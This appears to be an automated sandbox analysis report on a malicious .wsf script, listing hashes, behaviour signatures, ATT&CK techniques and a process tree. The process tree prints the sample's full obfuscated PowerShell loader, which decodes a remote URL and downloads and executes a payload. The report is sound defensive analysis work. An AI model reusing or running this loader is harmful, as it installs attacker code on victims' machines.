b555b98abe8eb8f9e9f240fdb22070df16680e8864a6d93549a8288f57bff5c7

Analysis

max time kernel
147s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
24-04-2024 01:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

623f93cf915a4c7e840b51e912221354507f169f6f95121324b4018e33d0d5c8.wsf
Size

55KB
MD5

6d2058cda28b4285006c69ce86422b00
SHA1

e438dc30c51de576537c87eb60d2c3a656f41687
SHA256

623f93cf915a4c7e840b51e912221354507f169f6f95121324b4018e33d0d5c8
SHA512

67a50f0e2ea180f5acd2de2467a52161c29b91040f56c1acc8a4c31dc4d6000c3cf7b93252a7df2d38b747b7c689570b988ee3f9371c44267dba7388c48e9701
SSDEEP

768:YXf54p2p/fwNaKj7gHrI0i3wPDPM+A0s2hyOX0Q4afFysrmUYAYB8nq7r/Iaw0FU:Yx9ukLI1gPDPTxyk0MfFCNqngIaweU

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 32 IoCs

Processes:

powershell.exe

flow	pid	process
22	1928	powershell.exe
41	1928	powershell.exe
45	1928	powershell.exe
57	1928	powershell.exe
63	1928	powershell.exe
68	1928	powershell.exe
82	1928	powershell.exe
91	1928	powershell.exe
104	1928	powershell.exe
110	1928	powershell.exe
111	1928	powershell.exe
112	1928	powershell.exe
113	1928	powershell.exe
118	1928	powershell.exe
119	1928	powershell.exe
125	1928	powershell.exe
129	1928	powershell.exe
130	1928	powershell.exe
134	1928	powershell.exe
135	1928	powershell.exe
136	1928	powershell.exe
141	1928	powershell.exe
149	1928	powershell.exe
150	1928	powershell.exe
151	1928	powershell.exe
152	1928	powershell.exe
153	1928	powershell.exe
154	1928	powershell.exe
155	1928	powershell.exe
156	1928	powershell.exe
157	1928	powershell.exe
158	1928	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

ping.exeping.exe

pid process

4964 ping.exe
3352 ping.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1928 powershell.exe
1928 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1928 powershell.exe

pid	process
4964	ping.exe
3352	ping.exe

pid	process
1928	powershell.exe
1928	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1928	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 3992 wrote to memory of 4964	3992	WScript.exe	ping.exe
PID 3992 wrote to memory of 4964	3992	WScript.exe	ping.exe
PID 3992 wrote to memory of 3352	3992	WScript.exe	ping.exe
PID 3992 wrote to memory of 3352	3992	WScript.exe	ping.exe
PID 3992 wrote to memory of 3472	3992	WScript.exe	cmd.exe
PID 3992 wrote to memory of 3472	3992	WScript.exe	cmd.exe
PID 3992 wrote to memory of 1928	3992	WScript.exe	powershell.exe
PID 3992 wrote to memory of 1928	3992	WScript.exe	powershell.exe
PID 1928 wrote to memory of 996	1928	powershell.exe	cmd.exe
PID 1928 wrote to memory of 996	1928	powershell.exe	cmd.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\623f93cf915a4c7e840b51e912221354507f169f6f95121324b4018e33d0d5c8.wsf"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Windows\System32\ping.exe
  ping google.com -n 1
  2⤵
  - Runs ping.exe
  PID:4964
- C:\Windows\System32\ping.exe
  ping %.%.%.%
  2⤵
  - Runs ping.exe
  PID:3352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c dir
  2⤵
  PID:3472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Babette = 1;$Floristen='Substrin';$Floristen+='g';Function Pikerede($folkemasserndsnvres){$Plasmolysis64=$folkemasserndsnvres.Length-$Babette;For($folkemasser=5; $folkemasser -lt $Plasmolysis64; $folkemasser+=(6)){$Kapitalpensionsordningen+=$folkemasserndsnvres.$Floristen.Invoke($folkemasser, $Babette);}$Kapitalpensionsordningen;}function Search($Buksenederdele){. ($Elsdyrskindene) ($Buksenederdele);}$Glistering=Pikerede 'UnwasMSubmuo Brugz perii Iniel Ri.ilCo rbaRessa/Begma5Engin.Re,ig0.cidi Aff,n(PerboWGarvniEksisn Debud KoncoOddmewSwordsPatri Sed mNBakl.T,ucce Progn1Opaci0ad oc.Sa.th0 forb;Affin VariWBr adiF rfanAfgiv6M.dte4Prem ;Resus ShruxO,ien6Kolbe4m.sme;Evira P.urrLundivEp st:Drv,y1Modta2Nonap1Produ. ,hot0Polyp)Afgha FrdigGParisetalalcCorn k ForsoEtuie/halli2Lat.i0Unsci1In do0Unsil0 Metr1Folde0Forsy1Arbej Phos FSklsaiFryd.rTriumeSvoemfAm nooFabrox Marl/skjol1M.lti2 P.ai1Round.Penne0Indbi ';$Bedsteborgerlige=Pikerede 'UnrehUGen,es Hau,eDe lar.onsu-SpatuAparamgSubtae.azarn,ivuat,opte ';$Skeptophylaxis79=Pikerede 'RestehA.ractCo bitUn ndpNakoo:Synko/Leish/ Fi.ecA,venrKoftey Basepzymo,tCopolopresacSamp.h CommrPolitoaimwrnSge riD.gblcUndualHvlbneSgel sTurnl.Til liEgalio Coun/B,mlegV,ruliSmas fStnde/.ekseCMaioioG,nseaStat.sChinntGrund.Myth,p,enomfBevisb Dani ';$Alexias=Pikerede ' Enca>Hypos ';$Elsdyrskindene=Pikerede 'KokosiBalloe WingxLykke ';$echelonment='Offervillig';Search (Pikerede 'ProsmSPluckeRep,otUkase-SpaniCCurt,oforeanSmarttaftereArecanMeckltRy er iese-S ghtP Und.aStatstAflb.h Sku C armTS ede: rome\ Af eBForelaFlourgR likastribt HoloeAbaxilSk.iglKrimiePan,er Semi.RetactPrezzxo.dfot Coup Nedgr-PorceVDemopaOfferlKnivsu.pereeKuris Ekste$,craseBrinec PaddhRapsoeHypnolFireooHypern P ofm UngreFa.ten Pr,dt Slag;Prepe ');Search (Pikerede ' Trani Bev f Lice Af,d(P.atotRig,de de osReinhtVolun-Oct,cpShearaAfs etMicrohKomme BjemTAnsva:Keyse\UnbesBEnnobaSik egSt ndaGrouctEquiveI,strl.estel ,irkeNonherRevis. gruptRib,exjaggst Hypo) Spi,{Fornre InduxDippeiLseretFumle}tarri;Ma,ti ');$Vurderingsgrundlagets = Pikerede 'Tilgne.ornycGlamhh ngdoCa et Ide l%Fre daHaetspMiskrp DrifdSphaeajappatMo.oraElect%Svits\ erviRPrivauNonmamdykk.v seycgData.t DispsZori..DepenAL ardi PrydrB,ndr Paean& Slag&Honey Dep.he,iscac AesthAndefoApost Drevs$Snirk ';Search (Pikerede ' Phyt$KnopsgJa,zelantiroKondubApproaMisiml ontr:Sa,buUForm.pL.ucat RetseKonson Velad Minu=Bibli( SentcFunktmOpuledTriol Split/F.tticCurur Hans$ Geo VUnpe uIhnderFotoedRundse Bi.lr TrikiPagannStningKlaptspseudgCacherDekoruEgilonHangmdBaldrlExud a,ulkogE,otie A,gitBrdfrsC.mpe)Se.vk ');Search (Pikerede 'Klodr$ Imprg Uti.lAch.poD bbjbSprkkaNonull.ogne:bailsS ,vletVrikkm arveaIkrafaPurpulNeoce= Mr.e$Ver eSTr isk.ortie SpyfptrosktDescroSta.dpMalerhTrepuyPe talSlubbaThermxCounti Undis.rogr7Merud9falsk.Dek,dsToldfp NasalTumefiSkrbet Mero( fuml$R.medAKse.nlEstere ProgxEtamiiSemiaaCholesAver.) ,lle ');$Skeptophylaxis79=$Stmaal[0];Search (Pikerede 'Hvi v$ Asylg S oglRnensoS perbAarena Sla lPr in:CoolhTDem no Red vKommurpr.mie DrillRatstsfdehje ibinsArteslNjesseSubstj .icilAnatoiForvagDyffehInexpeIndstdStreje,essarma.ti= ne,kN psumeKiwitwSamta- rigrOSkridbSulphjNondieNaturcForvatPo.yz WorshS P.osy EmbesBottotCornweMassemtilkn. Ho,pNPr seeStjertRouil.Soev WT sineStrlabMo.ioCAntiel,krmti Fj,reSky.gnP.rtitSprea ');Search (Pikerede ',alve$PetecTPen.oo ubjuvFrokorAngioe ch,llDoxycs,anyae,alibsStolelContreS.ciojRanunlButl.ineslagSi zahJolineP,titd Ya,deU.conrVirtu.VulcaHT,kroeSyreraBea edIntereKriger M rcsEndys[P eud$ SkurBIn.omeJelvadRagersalle.tSku.seDgnplbNonneoTra,srpr ncgGarameUmutrrSv,erlStrigita.fegsprigeStift]Candl=Un.on$ heruGMyr.ilSpi,eiIm.ers AdjetHarmlespi dr Bo.lidriven,arpegSwill ');$Keepnet=Pikerede 'FordyTS,idboDommevApartrDeciseUnderl nclosRemateBaggrs NonflPaleae Ra.dj Gry lStbemi grung Musih Conse SunddRat,oeOr,lyrSpat..FremgDEmbraoF.edrwUnno,n arall isuloCon iaSkovfdKo,muF SymbiS rupl M,umeProc,(C ima$FuldbSBlanckColu,eC,plop ,rintDatacoC.ntapDildehRadioysubspl ProdaBremsxRte.liJodlesdemon7,aten9Overt,Nazis$FatalITl ern Dy eiAverntVaredi,xactaMimiclCh mpl Hy,eyFlipe1 aino9Forfa6Advis)R inv ';$Keepnet=$Uptend[1]+$Keepnet;$Initially196=$Uptend[0];Search (Pikerede 'enefo$A tosgH terlDwarfoVanetbapodoa NatilVaria:KildeRHjemme Begit Antii egmecHestfuCompulDoktraChimntZareneHouse=Blyst(sjavsTD.ikee pecisC,ofst Sla.-HidatPNonpeaVastit Del.hSophi Lista$ArquiITransnMajseiFeckst .ituiSams aBed.elFr frlKroneyExcri1Trina9afren6 Yerb)Mo,og ');while (!$Reticulate) {Search (Pikerede 'Caste$CliffgPediplAcropoBrndebOverma LunklForho: ParaF KogeoK.trerDiskosGennepKappaiRehprs.oiletTyleneH vedsChiap= Elok$RivedtCosmorMuddeuTiskeeBlidg ') ;Search $Keepnet;Search (Pikerede 'PurulSprisit .alea Res r eligtShopp- U,leS DomelDrv re SheaeBredbp Cory D nc4Regio ');Search (Pikerede 'man,d$ MarkgHroarlImme.oFolkebafledaM.sdelUnmen: D,ltR.ivateUdmattKoft.iVkstccStru u ingulNo aha D,sstSenc,e Udsu=Udtmm(mrkl.T AktoeGod.isBattet,esub-P.larP Gs,eaUnme,tNoncahKande Ascog$Slet ITses.nnundiiInscrt B rtiKampvaTy ehlIchthlFerryyIngen1Skole9Port,6 Elle)Inter ') ;Search (Pikerede 'Bedre$SildegHjestlU rego Korrb Nonta,dredlM lan:GarlaO DoedcS,domtcalp odgnflbFordjrPolyha.teincProcehHemp,i HamaaNeso,tAccetePrecl=Stich$Sunk.gUnderlDonnho Sybib BaffaBull.lKlipp:MedalGF okol SkovoAntigsTllersdis noSi,vepHalveh Re toFriskr amoroAnatouBu lssTugte+ R,ts+Kass.%,copa$ExpedSTilretFory,m Krypa Hak,aJamm.lEkskl.Epartc.orneoGobiouHa.aknbe,vrtSe ic ') ;$Skeptophylaxis79=$Stmaal[$Octobrachiate];}Search (Pikerede 'Bangi$pis,igOverilModuloscop,bLozena imaclVldig:BackfVHarmoeNatior Macrm StaniCavillBranci DentoLillinMassei FisksPallaeForunsJonat Ov,r=T,rsd o.puGAg.stePro.ttKimmi-Lov,iCOvertoUnrevnD,ypstChorieEpicynBon it lini Marga$ReoxyIF lignAandsiPalu,tfrersiTha,aaQu,cklBittelItemiy Surn1 Ana,9Mater6Bruge ');Search (Pikerede 'Centr$Fra,rgP,ptil St.noKommubHylluaTombel Sger:st.rvS Dos p AucaiMo,ocrSpasmi Dissf Tri eAgu,orLoord Vinke= Lder Peasa[ForstSApoloyToxicsTraf,tUl,mpeMe,obmRedak.VaaseCSambeo Tankn Un.evImpree WahhrPaagat Tids]Kvali: atef:Svm eFUskikrDioesoQualimFoundBVildsa BaarsHjhaseNerv 6Sub.e4PreclSDrejbt ormrSerapiTrincnProang.ille(Kontr$SuperVTownleNe,tirs,ansmSkinni ,ktilKvadriSort o CondnLiniei E tes.ircie HydrsThist)Pr su ');Search (Pikerede 'Garge$GulvbgTyknilKontioUdstyb In iaDggetlBelea:Per.vD ConfeScowls Woods espeeFore rOphtht OversErhvepWoodeoTinseoSva.bnSynft Tovtr=Yt er Cerio[,etteSTrum.yIndu sSnusktCo nteAnalymOptis.Nean,Tdis,reMicrox SweetSekte.InterEOverwnTilslcMotivoEmigrdKartoiAfgn nP rtigSwive]Eva.g:Sy,ep: AtlaACountS.ldssCathe.IGusseIOvers.EmigrGWifehery,ekt.tersSTramptRho irPi keiRe,trn PalagRais (ignor$ ,eesSPer,zpKo reiImpror ForaiK,apofsieste vandrObolt)Finan ');Search (Pikerede ' Hand$HustrgA gellThereosydambEmigraSparrlStruk:Exce DdraabeProcuf.upplo PugirPutric Oldee LonkoLaager Skov=Infec$ LumrD RingeToplasSkraasPibeneNongrreuryatCondosStomaplufthoMetrao CharnBrdf..hund.sCroceuRawinbOpgavs NorwtTragir,aleniUfo.nnSelenglogw.( Vedg3Rente2 pasq8Unga.9Under8 Farl8Blaaj,Forsn2Eozoo9 Flot1 Smaa5Bedrv1,rtho)Hoved ');Search $Deforceor;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1928
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rumvgts.Air && echo $"
    3⤵
    PID:996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vcbnw24p.any.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1928-5-0x000002335A940000-0x000002335A962000-memory.dmp

Filesize
136KB

Download
memory/1928-10-0x00007FF9BF730000-0x00007FF9C01F1000-memory.dmp

Filesize
10.8MB

Download
memory/1928-11-0x0000023340180000-0x0000023340190000-memory.dmp

Filesize
64KB

Download
memory/1928-12-0x0000023340180000-0x0000023340190000-memory.dmp

Filesize
64KB

Download
memory/1928-13-0x0000023340180000-0x0000023340190000-memory.dmp

Filesize
64KB

Download
memory/1928-14-0x00007FF9BF730000-0x00007FF9C01F1000-memory.dmp

Filesize
10.8MB

Download
memory/1928-15-0x0000023340180000-0x0000023340190000-memory.dmp

Filesize
64KB

Download
memory/1928-16-0x0000023340180000-0x0000023340190000-memory.dmp

Filesize
64KB

Download
memory/1928-17-0x0000023340180000-0x0000023340190000-memory.dmp

Filesize
64KB

Download